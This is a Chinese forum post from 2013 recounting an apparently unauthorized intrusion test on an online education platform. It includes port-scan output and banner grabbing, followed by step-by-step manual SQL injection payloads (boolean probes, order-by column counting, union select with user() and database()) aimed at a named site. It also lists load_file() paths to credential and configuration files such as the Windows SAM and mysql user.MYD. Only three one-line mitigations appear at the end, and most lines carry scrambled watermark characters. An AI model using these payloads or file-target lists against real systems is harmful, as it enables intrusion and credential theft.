找回密码
 立即注册
查看: 3000|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:2 e5 ]# E1 T- ^( I; G7 _2 M
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
0 t& p* T- ~+ d+ |, I0 S第一步:获取需要的信息: ^& M- y: P/ B: Q- V3 e0 u' l( c
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。' a8 K, }3 l7 @0 W
注:以下为保护特用XXX代替敏感信息
) |4 ]4 u1 ~( C5 N) B顺手先PING了一下他们的域名:4 N4 B; F$ o# l3 p# ?% k1 _( v
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)! `: e- Y" U2 h9 `9 a3 Q) \9 K
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms6 N( q. x' d3 x
顺便了解一下TTL,学好基础知识才能一路顺风:8 Z6 C% q3 ^( Q$ ?
TTL:(Time To Live ) 生存时间
4 o+ Z+ K$ X: N: @* ]指定数据包被路由器丢弃之前允许通过的网段数量。
8 U" q! b. d+ c5 r" BTTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
. L# @+ f: i% h( c( M使用PING时涉及到的 ICMP 报文类型
* c2 ]4 ^, j4 @一个为ICMP请求回显(ICMP Echo Request)
+ I5 ?0 }4 R+ q) T7 w& @( p. F6 O一个为ICMP回显应答(ICMP Echo Reply)8 a' B# t7 Z6 Z9 D4 R$ {' M. h3 q
TTL 字段值可以帮助我们识别操作系统类型。
) u- |( J( c, N% MUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
5 e$ w( j$ E7 mCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 649 k2 H( i" ]& u, L8 s4 L! {
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
- [9 {# o4 {5 K) U6 I; q6 \微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
+ T# n4 P1 R& w1 |5 q当然,返回的TTL值是相同的) f# S1 u$ q, x+ G& F6 F
但有些情况下有所特殊3 L/ A9 ]5 s+ a- ^
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64; [1 k3 [- n; b
FreeBSD 4.1, 4.0, 3.4;
# D$ v, A! O( p$ O: X: LSun Solaris 2.5.1, 2.6, 2.7, 2.8;
# w( m0 \) F. e, Y  B5 K, {OpenBSD 2.6, 2.7,
9 p% |7 k% @* v. k8 G' A0 |NetBSD
9 W& v" z  h" ]) f* z* {HP UX 10.20' @+ a6 O9 }# n  `: }+ A( k
ICMP 回显应答的 TTL 字段值为 255' z7 N* [' S, G( B3 w3 w; [8 a
Windows 95/98/98SE2 Y  w* n) b! y- L- p
Windows ME
" z. v. Y1 P  AICMP 回显应答的 TTL 字段值为 32
2 U! ^# e$ w3 h* s, I2 E0 lWindows NT4 WRKS
8 w/ A- f8 c; @1 Q/ ~/ S) @Windows NT4 Server; U$ L" h; Z. a( j5 \  \$ W* B
Windows 2000
) b/ d- v2 ~3 D  a2 v6 w& B1 WWindows XP
& b/ M& T" N5 h3 MICMP 回显应答的 TTL 字段值为 128! ]) }% F3 D% ?+ ?6 n
这样,我们就可以通过这种方法来辨别操作系统: H: L1 }, B" R1 b
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
" Y2 F1 P6 A- T# W用NMAP扫描一下:/ B1 Q$ B7 [# }3 j% R2 p
nmap -sT -O XXX.XXX.XXX.XXX) q5 p4 v+ m# b" ~- a
如果没有装WinPcap则会弹出提示:' F4 E- g$ I, g) p) C: O4 m
WARNING: Could not import all necessary WinPcap functions.  You may need to upgr+ n* f! h9 N% e
ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
, c0 {* |" A* @) mode — Nmap may not function completely
3 v' l: Q) ^6 P" B" C* lTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
- Z/ X, o4 [- Y" }4 g4 @+ ]( xand iphlpapi.dll be installed. You seem to be missing one or both of these.  Win7 \3 K' M* _5 t
pcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
# T# T) W+ q  V: Q* ld later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
' J! V- i- v5 e6 {9 }$ K! Q1 ~ersions, you may be able to take iphlpapi.dll from another system and place it i) ~1 v# M! G+ s; L5 |
n your system32 dir (e.g. c:\windows\system32).0 [) y  a" v6 s" K. a$ i; U
QUITTING!
$ H; ~6 Q1 F$ |& z# G2 q* O到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe/ z, w! N5 r8 ?1 j' z8 x* S
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:7 _1 _3 m* d( E+ ^! B( d* l
Interesting ports on XXX.XXX.XXX.XXX:2 r  `; {# s. Y2 S7 k- ~0 k
Not shown: 986 closed ports! ]: H8 e& N' H0 Q/ u. k; R
PORT     STATE    SERVICE% _0 Q, N/ d) F1 z
21/tcp   open     ftp. _$ l8 }5 l9 k
22/tcp   open     ssh; h' |/ D; k7 [8 y% W- @
23/tcp   open     telnet& {+ L2 J, K$ |( X
80/tcp   open     http
4 P; p; E9 m& g8 t111/tcp  open     rpcbind
5 K9 e! d6 E# p9 C: y9 p. u. \135/tcp  filtered msrpc
; v/ d0 u7 g* f; R139/tcp  filtered netbios-ssn
; t0 k8 x5 u4 T445/tcp  filtered microsoft-ds
$ F1 E' z3 x0 r8 ~3 F8 I513/tcp  open     login+ o2 [4 R0 a7 U$ Z9 |
514/tcp  open     shell
6 y6 ?3 O- u  ]2 e- t593/tcp  filtered http-rpc-epmap8 X2 E  k* j$ ?# }( i
1720/tcp filtered H.323/Q.931! G0 ~2 R. g- O- [
3306/tcp open     mysql/ m. b  _2 z+ j+ T/ p- [- {
4444/tcp filtered krb524$ g! A' N( I8 R
Device type: WAP
- V' W8 v+ [' ]- M6 R. {Running: Linux 2.4.X1 L$ _3 I5 V3 B: x+ f
OS details: DD-WRT (Linux 2.4.35s)7 p" d, ~9 \* A: ^$ Q: e, f0 x
Network Distance: 13 hops
8 I- x% o$ h! ?8 E; e1 T$ u看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:  h9 c9 K( t. j) [) [' |
login as:
/ M1 ]6 d3 v" c, z# ATelnet23端口也是开着的,用telnet 命令链接一下:
, q/ H6 e) g+ n* T/ ^8 btelnet XXX.XXX.XXX.XXX5 o# U* k: m! _
提示:
$ n, J' [% I- o- @7 t" I  i; bRed Hat Enterprise Linux Server release 5.2 (Tikanga); n1 o) m; [9 k9 n1 t
Kernel 2.6.18-92.el5PAE on an i686
" s% i7 y' Y; J; e0 x* Ilogin:; W9 H/ K' h0 `2 E( m
获取HTTP头信息:  i5 I# x4 G4 w8 _
在本地执行如下PHP代码0 A& F. _$ k4 O" `7 C+ U& m6 t
<?php
8 N: E; t% \9 U- d) ?: S4 W$url = ‘XXX.XXX.XXX.XXX’;
2 E7 M4 e1 l+ H# Gprint_r(get_headers($url));
! X& L$ N1 I1 y6 Hprint_r(get_headers($url, 1));  d5 G& e$ K7 S; U/ u
?>5 J3 S/ x2 L. [- k, ?4 V) x
将以上代码保存为PHP文件,执行:9 D6 l5 N' d3 x: `; h7 l
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
9 D1 H" ]) w' {) R4 C' r现在可以得出结论:
9 g9 K3 @/ {# y+ |( v" V系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)0 L3 d+ S6 K' v' y. V
内核版本:Kernel 2.6.18-92.el5PAE on an i686
8 D) ~1 o' A: wWEB服务器版本:nginx/0.7.61' z" a7 ~4 a1 A' `" N8 e( X$ `  R
第二步,开始测试寻找漏洞
" T) K8 r$ L& A% f分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
/ F# y2 U8 q* Q* `; w1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
; b4 U6 W) i0 F& F0 }2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
2 c/ T( j3 ~7 o* E' I( Ahttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
  P6 ?( ?3 u' ]7 P- b# ^* C4 ahttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误" G' D4 s: I% I$ V: R! k! K
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续4 d1 R& |8 X5 K$ d
3、手工注入:
. G; a( t8 q, q4 Q4 w注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
: _! J5 y, y1 O/ r$ H3.1 猜测当前表字段数. y$ [! F0 R( y- _" |
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10. [6 X) m+ Q; N- A8 ?% T5 ~
此处猜测有个简单的算法,都是有技巧的吗,呵呵
* \" O/ B9 d, O4 c+ F. Y算法简单如下:
4 d; c% @) `( A$ r. q& O第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
# J8 ?8 I% v+ Q( U  w$ X第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
9 _2 S5 f+ r" A7 }) r5 @  z需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
- A1 W5 t. i0 G5 k1 a以此来判断,是否过界,配合取中算法猜出字段数。8 \  w+ w1 p) a3 u, l+ H/ t/ c
举例:4 p( I) ^5 f0 i' C0 {4 M; d
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常& o# F2 T# B* o7 z
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
$ B' j# V. r! H, w' `此时3则为我们要找的字段数。5 W' T# e3 _3 P- f
3.2 配合union联合查询字段在页面所位置
/ u" j" D$ b7 V, Q) k: ~我们已经知道了字段数为3,此时则可以做如下操作:+ H) y  u1 `3 @
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
$ G  J# C+ K4 a/ t* Z- u( q7 J" ~
7 U' [) w2 t2 ^2 w" o- ~( U3 k这样就可以测试到哪些字段在页面上有所显示了,如图:0 q; l' a9 k( `* {, U7 z: x

4 p2 b& r  e9 H- z, a: G7 {3.3 查敏感信息" L9 @8 _  c" N# m2 e
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。/ E- v) G% o: x/ ~' I* V
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
/ S* f6 H0 k* m: j( s" H& E+ T3.3.1 先查数据库用户、数据库名,以备后用,如图:; o9 |$ {, x0 F! s' p8 W! F, ]
4 D* I& K. H8 g5 @- d
得到数据库用户为root、数据库名为DBxx;; c+ O2 A' i# q# o* x# s
3.3.2 查配置文件$ u0 @2 @9 D0 }  M
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
5 `* h* R& D# Q3 K查看文件有一定的条件限制:3 E0 S( w  \5 o# M3 E8 X# U% n
欲读取文件必须在服务器上
' q5 Z# r  A, g- e7 [必须指定文件完整的路径. j% h3 ^; M9 g& ^0 H' E
必须有权限读取并且文件必须完全可读! I: e. Y5 n3 ?  n: a" W
欲读取文件必须小于 max_allowed_packet
) Y9 W; R' |  c0 bMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
" e% A. l4 n0 V, E+ O$ I1 V常用的一些:
, z4 B& q0 q+ T3 w# e; U/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件/ u: b+ s0 U1 K  [# u8 d$ |# ?9 v
/usr/local/apache2/conf/httpd.conf
0 d) u& x5 ^8 ]/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置" V( `+ P: v5 L! @
/usr/local/app/php5/lib/php.ini //PHP相关设置, y6 D" m! J; k- F% I$ k
/etc/sysconfig/iptables //从中得到防火墙规则策略: S- V; N- X" P" }3 ?6 v
/etc/httpd/conf/httpd.conf // apache配置文件. Q/ r$ w: @3 ]; W
/etc/rsyncd.conf //同步程序配置文件7 I( C% O3 V3 L
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.* [3 ^8 P# b, ?( V" e
/etc/my.cnf //mysql的配置文件0 @( A+ r0 \1 m  Y$ z  Y
/etc/redhat-release //系统版本
7 B% O9 i8 ~' Q& p/etc/issue+ S; d0 y" [4 f* [$ H4 U! v
/etc/issue.net) u. L3 ~# _/ ]2 u+ {' V
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
7 }8 Q' M% F  y( e+ Uc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
, o# S# i+ g; Y8 Z, K( ~% Ec:\Program Files\Serv-U\ServUDaemon.ini
& V# a/ l7 E9 f; l: Nc:\windows\my.ini //MYSQL配置文件# Z* m. g4 P) v, Q
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件" u8 E! c6 p3 K7 `) |6 f- w
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,1 N# k% g& t" r* w9 D, P* K
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
& g- d1 E$ j) e/ T8 J' ~c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此/ a- b0 Y7 Q( o3 X
c:\Program Files\RhinoSoft.com\ServUDaemon.exe- }5 |) U& k% w3 a9 W" q" z
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
# ]; g4 g( y6 i' w6 K) w1 y//存储了pcAnywhere的登陆密码7 ~( |3 M( A5 Z# k
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
9 j/ w  b5 e$ t: Z这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
' {- L; [% v* i+ h  R" p最后:防范措施# _" k" [6 s$ p% L8 i/ c2 l
1、修复PHP注入漏洞;! s5 ~4 \8 }. S% J5 k
2、Mysql使用普通权限的用户;& j- V3 W/ ]( S
3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表